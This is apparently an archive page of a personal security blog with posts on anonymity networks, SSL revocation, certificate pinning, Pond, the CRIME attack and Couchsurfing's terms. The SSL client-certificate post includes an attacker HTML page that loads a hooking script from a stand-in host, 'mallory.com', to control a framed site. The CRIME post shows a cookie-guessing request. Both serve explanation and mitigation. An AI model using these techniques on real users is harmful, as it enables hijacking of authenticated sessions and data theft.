ritter.vg

The Differences Between Onion Routing and Mix Networks

12 Apr 2013 16:52:00 EST

As was pointed out in a recent comment on the first blog post I wrote on crypto.is, I had used the terms "mix network" and "onion routing" almost interchangeably. In actuality I had fallen into a trap that a fair number of people familiar with the space have fallen into: using those terms without a solid differentiation. This blog post aims to correct that.

Firstly, I must give credit where credit is due - Paul Syverson (one of the original authors of Tor) wrote the paper that cemented this in my head most clearly, and I will quote it, and then restate it with pictures:

Mix networks get their security from the mixing done by their component mixes, and may or may not use route unpredictability to enhance security. Onion routing networks primarily get their security from choosing routes that are difficult for the adversary to observe, which for designs deployed to date has meant choosing unpredictable routes through a network. And onion routers typically employ no mixing at all. This gets at the essence of the two even if it is a bit too quick on both sides. Mixes are also usually intended to resist an adversary that can observe all traffic everywhere and, in some threat models, to actively change traffic. Onion routing assumes that an adversary who observes both ends of a communication path will completely break the anonymity of its traffic. Thus, onion routing networks are designed to resist a local adversary, one that can only see a subset of the network and the traffic on it.

- Paul Syverson - Why I'm not an Entropist

Onion Routing

Onion Routing gets its security from the fact (or assumption) that it is difficult for an adversary to position itself on networks such that it is able to view all the nodes in the route. Practically speaking, if I built a route from my job in China, to a server in Australia, to a server in Russia, to a server in Sweden, and then visit a webpage in France - there are a number of adversaries who could see part of this path. For example: my employer, my employer's Internet Service Provider, the Chinese, Australian, Russian, Swedish, and French Governments, the website operator and their Internet Service Provider. But none of those entities are able to see the entire path (we hope!) because they do not own, control, or have direct influence over every network link I'm using. In this instance, Onion Routing can provide some security.

Onion Routing Attacked

But if an adversary is able to see the entire path, Onion Routing loses its security. I recently used a crowd of people in a real-life demonstration of this. Alice puts a message into an opaque film canister, and passes it to an onion routing node, who passes it to another, who passes it to another, who takes the message out of the canister, and hands it to the recipient Bob. Everyone in the room can clearly see that it was Alice who passed a message to Bob, and even if there were multiple messages being passed, anyone could focus on an individual, and watch where the film canister passed wound up.

There's been rumors and talks in the past of China or Iran cutting themselves off from the Internet, and making their own national Internet. If they did, we could not just stand up a Tor network inside the country: it would provide no security because the government would be able to see the entire path.

There is another scenario where Onion Routing is known to fall down. If the adversary can see one node (A), and later another node (C) - even if there is an unseen or unknown number of nodes between A and C, an attacker can correlate the traffic. A specific instance of this means if an attacker can see you, and can see the website you're visiting, even if you create a path outside the adversary's control - they will still be able to correlate the traffic and learn you are visiting the website. This clearly raises concerns about using Onion Routing to visit a company website or websites related to your own government.

Mix Networks

Mixing; however, is specifically designed to provide security even if an adversary can see the entire path. To demonstrate this to a crowd of people I had Alice, Bob, and Carol each submit messages, in opaque film canisters, into my mix node (my backpack). With all three film canister messages in my bag, I shook it, and distributed each message to a new mix node, each of which also had a couple of messages in their bags already. Then those nodes distributed messages to 6 more mix nodes, and those mix nodes opened the messages and distributed them to recipients. Although everyone was able to see all of the messages that were passed around - it's impossible to tell who got Alice's, Bob's, or Carol's specific message. The mixing, in backpacks, creates uncertainty for the attacker they are not able to overcome.

Mixing isn't perfect. An adversary can still conduct long term correlation attacks, and if no one or almost no one uses the mix network along with you - it's even easier to attack. Furthermore, just because mix networks provide stronger security against a stronger adversary does not mean they provide better security in general. If you'd like to learn why, you can wait a while until I post about it, or just skip the middle man and read Sleeping dogs lie on a bed of onions but wake when mixed by Paul Syverson.

More Differences

A Mix Node must collect more than one message before sending any out - otherwise the node is behaving as an onion router node with a time delay. The more messages collected, the more uncertainty is introduced as to which message went where. The specific mixing algorithms employed (often calling pooling algorithms) will be a subject of a future blog post, but it's clear there must be multiple messages, which means the collected messages will generally sit in a mix node until 'sufficient' messages are collected (for some definition of sufficient). This introduces latency. If a mix node waits six hours to collect messages - well that's up to six hours of latency. Accordingly, mix networks are often casually referred to as 'high latency' and onion routing networks as 'low latency'. But the latency doesn't impart security - it's the mixing.

Tor is an Onion Routing network. It employs no mixing, and barring normal system task scheduling and processing, messages are sent as soon as they are received. The attacks described against onion routing above can and have been shown to work against Tor. While there is no evidence a government has resorted to performing the types of statistical attacks described in Academic papers - they have done rudimentary correlation involving physical surveillance. Specifically: they watched a suspect arrive home, they watched some Tor traffic originate from his home, and they watched as the nickname they suspected was him appeared in the IRC channel. If you're curious, it can read more about that over here. Although Tor is a powerful tool, it is possible to distinguish Tor traffic from normal traffic, and it is possible to perform correlation-based attacks to de-anonymize your use of it.

Something to keep in mind is that deployed mix networks (Mixmaster, Mixminion) are not designed to disguise the fact that you are using a mix network. If an adversary can simply lock you up for using anonymity tools, you need to disguise your use of anonymity tools, which is a whole other topic. Similarly, these tools are relatively obscure, and if an adversary can simply look across a large quantity of email traffic looking for someone who has received a Mixmaster message, who had not previously, simple correlation may also be possible.

This post originally appeared on crypto.is. Comments will be moved there.

Decrypting Amazon EC2 Windows Passwords

3 Mar 2013 18:43:34 EST

If you spin up a Windows Instance on Amazon EC2, the only way to get your password to it is using an Amazon-provided command-line tool to decrypt the password (supplying your private SSH Key) or pasting your private SSH key into the Web Interface. That didn't sit too well with me. I'd prefer Amazon not have my private SSH key.

I dug into the web interface, and their 3MB of obfuscated javascript, and found that do the decryption locally in Javascript - as they should. I feel a little better now, but just the same I'd rather not trust them not to go and steal the key, or change it to a server operation for "performance reasons" or something.

The password is padded with PKCS#1 1.5, encrypted, and then put through some odd byte/hex transformations. If you'd like to decrypt the password yourself, locally, I've put up a script on github to do so. It doesn't handle every corner case (encrypted keys being the biggest) but it hopefully it helps you a little.

Liberation Technology Auditing Guidelines

27 Feb 2013 21:06:34 EST

Liberation Technology is kind of a catch-all bucket I borrowed from Stanford's Program & Listserv that I use to describe technology that's designed to be used by activisits, journalists, folks with increased privacy needs (survey participants, whistleblowers, law enforcement), and the like. (I'm probably offending or upsetting someone by using this term willy nilly but I don't have a better one.) These types of applications obviously have a higher bar for security: not only do they need to be free from the major 'bad' vulnerabilities like SQL Injection and Memory Corruption - but also thought and attention needs to be paid to things like "What third party requests are made?" and "What does my use of this application leak to a network observer?"

There are a dearth of folks who are good at reviewing these applications, and of the ones their are - their time is spread too thinly and ultimately it's nobody's job so it's done in their free time. To that end, I took a stab at putting all the things I've picked up over the years together, in an effort to get more folks involved in the process. That list (sponsored by my employer) lives over here at github. It's aimed directly at fellow security consultants, and intended to list additional technical issues to search for when auditing these types of applications. I'm not nearly the best at this, and I don't do as much as I'd like to, but it's something, and you can improve or fork it.

What should you target with these ideas? Everything! There are high-profile applications like the ones by the Tor Project, Whisper Systems, and the Guardian Project. There are newer flashy projects like Cryptocat, MEGA, and Crypton. And there are brand-new projects that might take a bit of reverse engineering to understand - like Wickr and Silent Circle. And this is not an exhaustive list. The number of these types of applications has been increasing significantly in the past couple of years. The number of auditors has not.

I hope this list will inspire more people to look at these applications and contribute to them.

This post originally appeared on iSEC Partners' blog.

Remailer Blog Posts

07 Jan 2013 21:52 EST

I don't write a lot, so when I do write for another blog (usualy an employer's) I tend to go to pains to copy the blog post here (with a credit). Today I've published five technical blog posts for another blog, but I'm not reposting them - I'm just pointing at them. They're hosted on the same machine as this one, just on a seperate domain, so I'm not worried about losing them.

Crypto.is kicks off its blog with a series of articles about remailers! This is the first several installments in what is intended to be a series on how remailers work, the theory behind them, and many of the choices that must be considered. Some of the topics we intended to dive deeply into in the future is how to have a directory of remailer nodes, how to handle messages that overflow the packet size, more details on Mixminion, as-yet-unimplemented Academic Papers (like Pynchon Gate and Sphinx), and more! Check out posts One, Two, Three, Four, and Five. The comments section should work, so please do leave comments if you have questions, insights, or corrections!

These blog posts are:

5	A Tagging Attack on Mixmaster	05 Jan 2013 23:48:00 EST by Tom Ritter
4	Packet Formats 1 of 3(?)	05 Jan 2013 23:47:00 EST by Tom Ritter
3	Tagging Attacks	05 Jan 2013 23:46:00 EST by Tom Ritter
2	Remailers We've Got	05 Jan 2013 23:45:00 EST by Tom Ritter
1	What is a Remailer?	05 Jan 2013 23:44:00 EST by Tom Ritter

I put a lot of effort into them, and it goes into (what I think) are fairly complicated topics like tagging attacks, so I hope you like them!

An Attack on SSL Client Certificates

07 Jan 2013 21:40 EST

SSL is designed to provide Authenticity, Confidentiality, and Integrity. If an attacker is performing a Man in the Middle attack, they can slow down or close a SSL connection - but they cannot modify or learn the contents. The attacker should also not be able to impersonate the server - that's the Authenticity part. But Authenticity relies on Certificate Authorities - the attacker cannot impersonate a site because a CA will verify the applicant controls the domain applied for. But in the past couple years, we've seen some cracks there that have allowed advanced attackers to impersonate arbitrary and high-profile sites on the Internet. And of course, non-validating clients or installing a rogue CA into your trust store would make this easy too.

Most websites authenticate a user using a username and password over HTTP. If an attacker is able to impersonate a website to a user they are able to use that ability to steal the username and password, talk to the website pretending to be the user, and proxy the data back and forth. Client certificates provide a stronger degree of authentication. An attacker can impersonate a website to a user, but cannot impersonate the user to the website because they do not know the client's private key. This severely limits the attacker: generally speaking the attacker is interested in learning the user's stored data on the server: for example the user's email. To accomplish this when the user authenticates with client certificates, the attacker would need the client certificate - to retrieve it they would have to exploit the user's browser or try a social engineering attack to trick the user into running malware manually. While those attacks are possible, they are not reliable or stealthy.

However, an attacker who is able to impersonate the server to the user can effectively break into the SSL connection with the legitimate server, and exfiltrate the sensitive data - even with client certificate authentication. In addition to impersonating the server, the attacker must be able to intercept and manipulate the client's outbound network traffic. By relying on the Same Origin Policy, the attacker can trick the client into running javascript of the attacker's choosing that exfiltrates the data - while leaving the Client Certificate-authenticated SSL channel untouched.

There are two techniques one can use to accomplish this. The simpler technique relies on impersonating any third-party SSL-protected javascript include - for example to target Google's hosted libraries. By acting as Google, you can inject a BEEF shell and view the user's content.

That's a pretty obvious technique - by including two forms of authentication (mutual and one-sided) the site has effectively downgraded themselves to the lesser of the two. However, if the site has removed all third-party includes and authenticates all javascript using Client Certificates - it is still possible to perform the attack. In this instance, Alice tries to connect to Bob's site, but is intercepted by Mallory. Mallory can impersonate Bob to Alice, but cannot impersonate Alice to Bob, because Alice connects using a client certificate.

With this new attack technique, Alice tries to connect to Bob, but is intercepted by Mallory. Mallory impersonates Bob to Alice, and requests a client certificate, which Alice expects. Alice selects her client certificate, which Mallory will accept without performing any certificate validation. After the TLS handshake is complete, Mallory returns a page that looks like this:

<html><body>
   <script src="https://mallory.com/d.js"></script>
   <iframe src="https://mail.corp.com" />
</body></html>

Mallory also sends a HTTP Connection:close directive and closes the SSL and TCP connection.

When Alice retrieves this page, she will make two subsequent connections. First, the request for d.js, which Mallory fields and replies with a BEEF shell or similar mechanism that allows her to control the page. Secondly, the request for mail.corp.com for the iframe, which Mallory does _not_ intercept, but rather passes the connection to Bob legitimately. Alice initiates a new TLS handshake, authenticates herself to Bob, Bob authenticates himself to Alice, and the channel is mutually trusted. Mallory cannot read inside this connection, but using her javascript shell, can manipulate the page in the iframe thanks to the same-origin policy.

A more insidious attack would be to poison the user's browser cache or HTML5 Local Storage. For a cache poisoning attack, because a javascript file does not contain user-specific or attacker-unknown data, an attacker could download the server's version of the Javascript file, using their valid credentials, poison it, and then serve it to the attacked user. If the attacker can force the browser into caching the document, it will be used on subsequent connections to the site, giving the attacker full control again. For HTML5 Local Storage, if a site used the clientside storage to store data or code, an attacker could read sensitive data or insert malicious javascript.

Unfortunately, there's not much that can be changed in browsers to mitigate this attack. Any form of short-term certificate pinning (as is done with DNS to thwart DNS Rebinding will break some use of certificates on the internet: either different certificates on subdomains, CDNs, paths that route to a new webserver, or the case where every webserver has its own SSL Certificate (the 'Citi Bank' problem as dubbed by Moxie.)

One mitigation is to prevent yourself from being framed using the X-FRAME-OPTIONS: DENY setting (SAMEORIGIN will leave you vulnerable), and pairing this with javascript framebusting for older clients. However, this does not protect against browser cache or local storage poisoning.

This post originally appeared on iSEC Partners' blog.

Fixing revocation for web browsers on the internet

07 Jan 2013 21:32 EST

This is a tad dated, but I need to catch this blog up to the blog posts I've authored for my employer's blog. Here's the blurb for a whitepaper I authored on revocation in web browsers.

The past couple years have had a number of Certificate Authority compromises that have resulted in high-profile sites having fraudulent certificates issued for them. It has shown a spotlight on Certificate Authority practices and also the current trust calculation present in web browsers. Two years ago, iSEC Partners collaborated with the EFF to create the SSL Observatory: a window into the issuing practices of CAs and this year released a scanning tool:sslyze that can be used to scan for SSL misconfigurations. SSL is a critical piece of Internet infrastructure and has been a long time research focus for iSEC Partners.

Recently, I've been interacting with the Certificate Authority/Browser forum on the topic of Certificate Revocation. Many projects like DANE, Convergence, TACK, and numerous others all cover the topic of initial trust - do I trust this certificate or not - the issue of revocation has been left largely alone with the exception of Chrome developing crl-sets. But recovering from failure is at least as important as protecting ourselves from it in the first place, so we have an interest in making sure Revocation provides the properties that we desire. At the September meeting of the CA/B Forum, I presented what I feel is the correct path forward for revocation checking in web browsers.

The paper I presented identifies five key properties a revocation system should provide: to be Privacy Preserving, to be Performant, to have No Single Point of Failure, to Uniquely Identify a Certificate, and finally, to be Effective. After evaluating the possible ways forward, I suggest the path of least resistance and the methodology that can be followed to move us towards a web where you are confident in the status of a certificate. Unfortunately, this requires a concerted effort to develop, test, and deploy updated versions of web servers and convince stakeholders of the benefits of doing so. This paper is meant to spur conversation and be a proposal that others can be compared to. The discussion at the CAB forum overall was positive, and I appreciated the opportunity to meet and discuss these issues with people who also care passionately about this niche of the web infrastructure.

Read our whitepaper Here

This post originally appeared on iSEC Partners' blog.

Some Initial Thoughts on Pond

24 Nov 2012 17:11 EST

Pond is a personal project published this weekend by Adam Langley. Adam is wicked smart and manages both Google's SSL infrastructure and Chrome's SSL implementation (and all the nifty SSL features Chrome throws in, like NPN and DNSSEC Stapled Certs). So when he tweeted about Pond, I knew it was worth a very close look. Pond is a new encrypted messaging protocol and implementation, akin to encrypted E-Mail but with some differences. This blog post is less a critical analysis of it's security or design, and is really just some initial thoughts on the architecture. It's light on the introduction, so you may want to read the project's README for background.

Permitted Senders

Firstly, Pond can be thought of similar to email. It's asynchronous, which means you can send messages to someone even if they're not 'online', and a server will receive and store them on the user's behalf. The user can in turn connect to their server and retrieve messages when their client is online. However, the first big difference between Pond and E-mail is you cannot 'pond' someone who has not permitted it, where 'pond' is me verbing the noun. This is a huge, huge difference between Pond and E-Mail, and honestly I think makes Pond much less useful than I'd like. The reason behind this is Spam, and that's not a bad reason. I'm a bit young to have been around when the 'require email to have a proof of work' arguments were ensuing, but a cursory survey indicates one argument against it was based around legitimate bulk email services. I don't know if that's relevant to Pond, so perhaps it's worth revisiting this debate.

Anyway, Pond enforces the notion of allowed senders, by using a group signature scheme. The group signature scheme allows your pondserver (analogous to mailserver) to verify that the person ponding you is a member of your allowed group, but cannot verify who exactly in the group it is. If you want to revoke the ability of someone to pond you, you can do that, but everyone on your accepted list will learn that you revoked someone.

Because messages are forward secure and the protocol is based on OTR, you the user must communicate a KeyExchange message to you intended acceptable contact out of band on a secure channel. The KeyExchange message includes less sensitive things like your server address, and private things like the private key for that particular user to participate in the group signature.

Message Sizes

All messages that are exchanged between the client and the server are 16KB - whether the user is checking his messages, sending a message, making a revocation, or otherwise. Pond currently does not support messages larger than 16KB. I wish I had a blog post written on how remailers handle oversized messages - it's not pretty. This is a hard problem. Both Mixmaster and Mixminion will chunk oversized messages into the constant-sized fragments; although Mixminion will apply a K of N scheme to allow reconstruction from a subset of fragments.

The issue with oversized messages is that they can allow a user to be deanonymized by sending them oversized messages. Send a user a 500MB message, and then watch all Remailer/Pond users to see who retrieves a 500Mb message. This is easier when the attacker is the sender of the large file but can work regardless if the attacker knows a large file is going to be sent. There's not a great solution for this problem - but it's a pretty important one to at least try to solve. It's fairly easy to anonymously/pseudonymously send text, we have a number of techniques. But sending media: images, video, pdfs - we don't have a great system for.

Future Directions

Some things I think would be worth looking much closer at:

Does the omission of the KeyID in the OTR Protocol hurt anything?
The implications of a KeyExchange structure being disclosed after a number of messages are exchanged.
Is there a server DoS possibility by asserting the server must confirm the group signature of the client? Can a proof of work be inserted to ameliorate this?
The use of ACKs makes me nervous and remind me of Read Receipts. And no one likes those. Could there be another way to ratchet DH values? Maybe prefill the server with encrypted-to-the-contact value or values to give them?
Does the Pond Server or Client leak distinguishing information in the form of time skew? Probably, but most things do, so don't hold it against Pond.

Also, I think something else that would be worth considering is changing the notion of contacts you can communicate with, to contacts you can communicate large messages with. The changes, which are not trivial, would look like this:

The 16KB size is upped to something more like 128KB.
Your accepted contacts become the "permitted large senders" list. These users are permitted to send you messages larger than 128KB. It'd be nice to restrict them to 32KB, but this may not be possible while asserting that the server cannot read the messages for a user.
A server will either send the list of queued messages if the contents of the list is >128KB or whole messages if less.
Messages larger than 128KB are not downloaded by default - the user can choose to delete them on the server, explictly download them as one-time-large chunk, or perform a de- and re-encryption on the server to be able to download the message in 128KB chunks.
When an unaccepted contact wants to pond you, the server will conduct the initial steps of the DH Key Exchange on behalf of the user, packages up the sensitive parts for the user, and queue them for delivery to the user also.

That list is very handwavey - I haven't really thought through the implications of things like the de- and re-encryption on the server; or the change in threat model. For instance, if a server is compromised after an untrusted person ponds you, the attacker should not be able to read those queued messages; but if a new untrusted person ponds you post-compromise, the attacker would be able to read that message. That may be unacceptable. The IMAP/Newsgroup nature of getting a list of messages and choosing to download individual ones might be a horrible idea too. Pond is experimental. I'm happy to throw out a bunch more experimental ideas and try to figure out why they're bad ideas.

Also, I'd like to take this opportunity to thank Adam for his work. This is experimental software and an experimental protocol. But experiments are good.

Update: If you're reading this on the front page, be sure to click through to see Adam's comment response.

Certificate Authorities & Pinning

10 Nov 2012 20:53 EST

So Google Chrome has a preloaded list of sites they can force SSL on (Strict Transport Security) and certificates they can pin up to (Public Key Pinning). You can request yourself be added to this list over here. But Chrome is open source, so you can look at the code behind this. The relevant file is in transport_security_state.cc and the actual list of directives is in transport_security_state_static.json. Inside that list of directives (and I'm linking to the latest revision, not trunk), there's a property bad_static_spki_hashes.

//   bad_static_spki_hashes: (optional list of strings) the set of forbidden SPKIs hashes

If we look at the only time that's used, it's used by Google.

    {
      "name": "google",
      "static_spki_hashes": [
        "VeriSignClass3",
        "VeriSignClass3_G3",
        "Google1024",
        "Google2048",
        "EquifaxSecureCA"
      ],
      "bad_static_spki_hashes": [
        "Aetna",
        "Intel",
        "TCTrustCenter",
        "Vodafone"
      ]
    },

Those certificates: Aetna, Intel, TCTrustCenter, and Vodafone are defined in transport_security_state_static.certs (again, revision specific not trunk). They were added in this diff with the comment "net: reject other intermediates from Equifax" which references a private code review request and bug. When I open them on Windows 7, they all chain to the GeoTrust root with fingerprint d23209ad23d314232174e40d7f9d62139786633a. GeoTrust (who bought Equifax's CA program) is the company that ran the GeoRoot program, allowing companies to have their own root.

Are these MITM Certificates? No. But before I explain how they're not, a little background:

The practice of issuing companies publicly trusted Certificate Authorities for the purpose of performing MITM on their employees is extremely shady and dangerous and resulted in lots of bad press for Trustwave when they issued one to Micros Systems. They revoked it, and came clean - and I applauded them for it. In the fallout, Mozilla told CAs they couldn't do this and be included in their root program. They had to either not let the root out of their control or technically or contractually constrain them explicitly disallowing MITM purposes.

The responses from the CAs came back. Geotrust said "SubCAs are technically and/or contractually restricted to only issue certificates to domains that they legitimately own or control, and they are specifically not allowed to use their subordinate certificates for the purpose of MITM." And also that they were in the process of "[adding] a statement to [their] CP/CPS committing that [the company] will not issue a subordinate certificate that can be used for MITM or 'traffic management' of domain names or IPs that the certificate holder does not legitimately own or control." And let's take a look at the four certificates blacklisted in Chrome:

Vodafone & Aetna: Vodafone expired in July 2011, Aetna in Aug 2012. Looking at Mozilla's and Windows' Trust Store I don't see an Aetna or a Vodafone.
Intel: This is a valid, trusted Signing CA that is still valid. It can do a lot too: Digital Signature, Certificate Signing, Off-line CRL Signing, CRL Signing. It has a Public CRL that refreshes every three months with no entries. Its other pointers go to unresolvable domains. I can't find an Intel in my trust stores.
TC TrustCenter: This is the strangest one to me - because I do have it in my Trust Store. I have "TC Trust Center Class 2 CA II", "TC Trust Center Universal CA I" and "III", and "TC Trust Center Class 3 CA II" in Mozilla and nothing in Windows (but Windows has some weird polling-the-server stuff IIRC). So if some of TC Trust Center is trusted, why isn't this one? Also, it's still valid. It's CRL is GeoTrust's.

Now these are not MITM certificates. They have been in use on the public internet, and if you search through the SSL Observatory data you will find both the certificates and instances of their signing public certificates. So it's pretty clear these aren't hidden certificates or anything. But the existence of these certificates is still troubling for a brand-new reason: Certificate Pinning.

Certificate Pinning - either by TACK, the upcoming HTTP Header, Chrome's aforementioned system, or other methods - allows you to pin to a leaf certificate or a Certificate Authority's root. If clients see a certificate signed by anything other than the pinned certificate (key, technically) - they will reject the certificate. It allows you to limit the number of signing CAs from dozens or hundreds to a couple of Intermediates. But just how many Intermediate (signing) certificates are off that root you just pinned? You can get a sense of it from the SSL Observatory - but just a sense, because they're not all disclosed.

And that's what Google has done. They wanted to pin GeoTrust - but not these other Intermediates. So they had to go to explicit steps to prevent these four certificates from being able to sign for Google properties, ever ever ever. So if you're evaluating a Certificate Authority, and you want to pin to them, this should factor into your calculations. Mozilla is working on this to provide greater transparency for these 'unknown' Intermediates, which are a subject of great debate.

Details on CRIME

17 Sep 2012 11:11:34 EST

Background

Juliano Rizzo and Thai Duong, the authors of the BEAST attack on SSL (or TLS - used interchangeably here), have released a new attack dubbed CRIME, or Compression Ratio Info-leak Made Easy. The attack allows an attacker to reveal sensitive information that is being passed inside an encrypted SSL tunnel. The most straightforward way to leverage this vulnerability is to use it to retrieve cookies being passed by an application and use them to login to the application as the victim.

CRIME is known to work against SSL Compression and SPDY. SPDY is a special HTTP-like protocol developed by Google, and used sparingly around the web. According to Ivan Ristic's statistics, gathered by SSL Pulse, about 42% of the servers support SSL compression, and SPDY support is at 0.8%. SSL Compression is an optional feature that may or may not be enabled by default - it's unlikely to have been explicitly configured. SPDY however is something that would be explicitly designed into your web application.

Technique

CRIME works by leveraging a property of compression functions, and noting how the length of the compressed data changes. The internals of the compression function are more sophisticated, but this simple example can show how the information leak can be exploited. Imagine the following browser POST:

POST /target HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1
Cookie: sessionid=d8e8fca2dc0f896fd7cb4cb0031ba249

sessionid=a

This data shown in binary looks like this:

As mentioned, the internals of the DEFLATE compression algorithm are more sophisticated, but the basic algorithm is to look for repeated strings, move them to a dictionary, and replace the actual strings with a reference to the entry in the dictionary. We'll take the above example, and identify two repeated strings we can remove: ".1" and "sessionid=". We'll move them to a dictionary, and replace them with bytes not used in the message (0x00 and 0x01):

This has compressed the message from 195 byte to 187 bytes. In the body of the request, we specified "sessionid=a". Watch what happens when we specify "sessionid=d", which is the first character of the secret session cookie:

Now we've compressed the resulting message from 195 bytes to 186 bytes. An attacker who can observe the size of the SSL packets can use this technique in an adaptive fashion to learn the exact value of the cookie.

As mentioned, the internals of the real deflate have to account for a lot more than this (for example, length of the extracted string) and works with a sliding window across the data (examining the entire data in chunks instead of at once) - but this toy example shows the single byte length difference we are looking for to reveal we've guessed the correct character. For more sophisticated analysis you can check out Thomas Pornin's answer at stackexchange and Krzysztof Kotowicz'a proof of concept code. In the coming weeks we'll also get more details from the authors that explain how they overcame other hurdles to exploitation, such as the Block Cipher Padding in AES.

Exploitation Scenarios

In our toy example above we placed our guess for the cookie in a POST body. Initially, speculation was to exploit CRIME you would require the ability to run JavaScript inside the target domain - such as through a Cross-Site Scripting Attack. Since then, a number of novel techniques have been discussed, including:

Cross Domain requests
moving the payload to the querystring in a GET request
using <img> tags (a method used by Rizzo/Duong)

It's clear that there are an uncountable number of ways to exploit the vulnerability if it is present. Rather than trying to block individual avenues to exploitation - which is likely impossible - we recommend you mitigate the issue at the source by disabling SSL Compression (and SPDY Compression if used.)

Mitigation

Disabling compression is the agreed-upon approach to mitigating the vulnerability. Very few clients support SSL or SPDY Compression, and the major ones that do (Chrome and Firefox) have patched it. Disabling SSL Compression is different from disabling HTTP Compression - and will almost always have no adverse affects (especially because many clients already do not support it). If HTTP Compression is enabled, SSL Compression will only compress HTTP Requests and Response Headers - a small percentage of the traffic compared to the body of web application pages.

At this point, the latest versions of all browsers will not offer Compression in SSL. The following versions were explicitly tested.

All versions of Internet Explorer (No Versions of IE support SSL Compression)
Google Chrome 21.0.1180.89
Firefox 15.0.1
Opera 12.01
Safari 5.1.7 on Windows
Safari 5.1.6 & 6 on OSX Lion

Server-Side Mitigation

In most cases you can rely on clients having been patched to disable compression. If you want to perform due diligence you can disable SSL Compression server-side also. You can test for SSL Compression using the SSL Labs service (look for "Compression" in the Miscellaneous section) or using iSEC Partners' ssl scanning tool SSLyze v0.5.

If you have Compression enabled, the method of disabling it varies depending on the software you're running. If you're using a hardware device or software not listed here, you'll need to check the manual or support options and note that you want to disable SSL Compression - it shouldn't be confused with HTTP Compression.

Apache 2.4 using mod_ssl

Apache 2.4.3 has support for the SSLCompression flag. This is a very new release of Apache - the feature itself was added in August, 2012. SSLCompression is on by default - to disable it specify "SSLCompression off".

Apache 2.2 using mod_ssl

The patch will be backported from Apache 2.4 to Apache 2.2 in 2.2.24 according to the corresponding issue for mod_ssl.

Apache using mod_gnutls

If you are using mod_gnutls you can specify the GnuTLSPriorities flag to disable compression. Specify "!COMP-DEFLATE" to disable compression.

IIS

Microsoft IIS does not support SSL Compression - even in IIS 7.5/Server 2008 R2.

Amazon Elastic Load Balancers

iSEC Partners has confirmed with Amazon that Elastic Load Balancers do not support TLS Compression.

Acknowledgements

Thanks to a few folks for their help in preparing this post: Alex Garbutt, Doug DePerry, Rafael Turner, Rachel Engel, and the team at Second Market.

This post originally appeared on iSEC Partners' blog.

On Couchsurfing's New Terms of Service

2 Sep 2012 00:43:34 EST

Scroll Down for an Update

Recently Couchsurfing sent out an email about their new terms of service. I took a look, and was pretty surprised - even in the world of ridiculous Terms of Services, this one seemed over the top. I fired off a quick rantly message through the only feedback system I could find, tweeted about it, and planned on deleting myself a short while later. However, they replied back to me politely and generically, and I realized I needed to send a more structured response. Below are the first four major things that jumped out at me that I take issue with the new Couchsurfing Terms of Service, as compared to several other major sites' terms. If you likewise think the terms aren't well thought out, I'd encourage you to drop them a polite email as well. The email chain I'm responding to is at the very bottom of the post.

My second email to them

I understand your lawyers want you to cover your ass - and of course there needs to be some permission licensing the content. I'm not uninitiated to the process - so I'm not complaining in the general "you can't do this, this is crazy" stance - I'm complaining in the specific "Even in the world of overly broad Terms of Service - yours is Super-Overly-Broad". I'm not a lawyer but I am interested in this stuff, and from my research here's what I've come up with.

Several of the things I take issue with:

There is no regard to member ownership of content, beyond stating that the member must own the content they upload.
There is no regard to the privacy settings of Couchsurfing Profiles, nor deletion of member content
There is overbroad permission for your use of the content
There is really strange language relating to granting you permission to use my Identity.

I'll reference several other Terms of Services for similar websites, linked at the end.

Regarding #1: Facebook's, yFrog/ImageShack, Yahoo/Flickr's, and MySpace's explicitly state they do not claim ownership of any content, while you do not.

Regarding #2: Facebook takes the same "non-exclusive, transferable, sub-licensable, royalty-free, worldwide license to use any IP content" clause - but they explicitly state that this is subject to the user's Privacy Settings _and_ that the license ends "when you delete your IP content or your account". MySpace's likewise mentions Privacy settings: "except that Content marked 'private' will not be distributed by Myspace outside the Myspace Services and Linked Services" and "After you remove your Content from the Myspace Services we will cease distribution as soon as practicable, and at such time when distribution ceases, the license will terminate." Flickr too: "This license exists only for as long as you elect to continue to include such Content on the Yahoo! Services and will terminate at the time you remove or Yahoo! removes such Content from the Yahoo! Services." And yFrog/ImageShack "You may revoke this permission at any time by requesting your content to be removed."

Regarding #3: The clause "for any purpose" is overbroad. If you wanted to sell people's personal photos for use as stock photography you would be able to. Contrast that with yfrog's "will not sell or distribute your content to third parties or affiliates without your permission" or Yahoo/Flickr's "the license to use, distribute, reproduce, modify, adapt, publicly perform and publicly display such Content on the Yahoo! Services solely for the purpose for which such Content was submitted or made available". Myspace's does not take the abiliy to sell or distribute outside of their site: "This limited license does not grant Myspace the right to sell or otherwise distribute your Content outside of the Myspace Services or Linked Services."

Regarding #4: "without limitation the right to use your name, likeness, voice or identity" You're claiming the right to use my identity?! That's really, really strange, and probably interfaces weirdly with some Identity Theft law somewhere in the US.

Thanks for taking the time to respond to me, and I hope you will take these concerns under consideration.

[0] http://www.facebook.com/legal/terms
[1] http://www.myspace.com/Help/Terms?pm_cmp=ed_footer
[2] http://yfrog.com/page/tos
[3] http://info.yahoo.com/legal/us/yahoo/utos/utos-173.html

Their reply to my first email

Hello Tom

Thank you for writing in to us about the recent changes to our Terms of Use and Privacy Policy. The reason for these changes are to keep up with legal developments here in the United States, as well as to make sure that our policies cover all of the new features that we are planning to introduce to the CouchSurfing community.

In order to display your content on CouchSurfing, such as your profile picture or group posts, we need your permission to do so. When you upload content to CouchSurfing (like photos or group posts) you grant us the right to use it in various ways, such as linking to it and displaying it to other members.

When you send us a Submission such as a photo or a story, we might choose to write a blog post about it or post it to our Facebook, Twitter or other social media pages. If you send us a CouchSurfing design, we may make it into a product on the CS Shop. Please don't send us anything that you would prefer to keep private.

Hopefully this answers your question, but if not feel free to email us back at policies@couchsurfing.com.

Happy Surfing!

Update: I heard back from them over the weekend, and with their permission can post their response.
Their reply to my second email.

Hi Tom,

I'm sorry for the slow response. Hopefully I can address some of your concerns below, and I can certainly understand how the language in section 5.3 sounds over-broad. My responses are specific to your itemized questions.

1) You're right, we don't mention this specifically, although it is true that members do continue to own their own content (with the exception of things submitted directly to us as a Submission under Section 6.0). We originally included plain-english annotations with this new version of our Terms of Use which stated that explicitly, but our concern was that members would make decisions based on the annotations, which, being a summary, would have the potential to mislead them by not including the full information. In such a case, we might be considered liable for distributing bad information. My hope for CouchSurfing is that we can eventually move to completely plain-english policies.

2) Privacy settings are evolving on CouchSurfing. We are working on a complete overhaul to the website, which will include a lot of new features, and new privacy settings will go hand in hand with that. But because we don't know what exactly those new features or privacy settings will be, it is hard to reference them specifically.

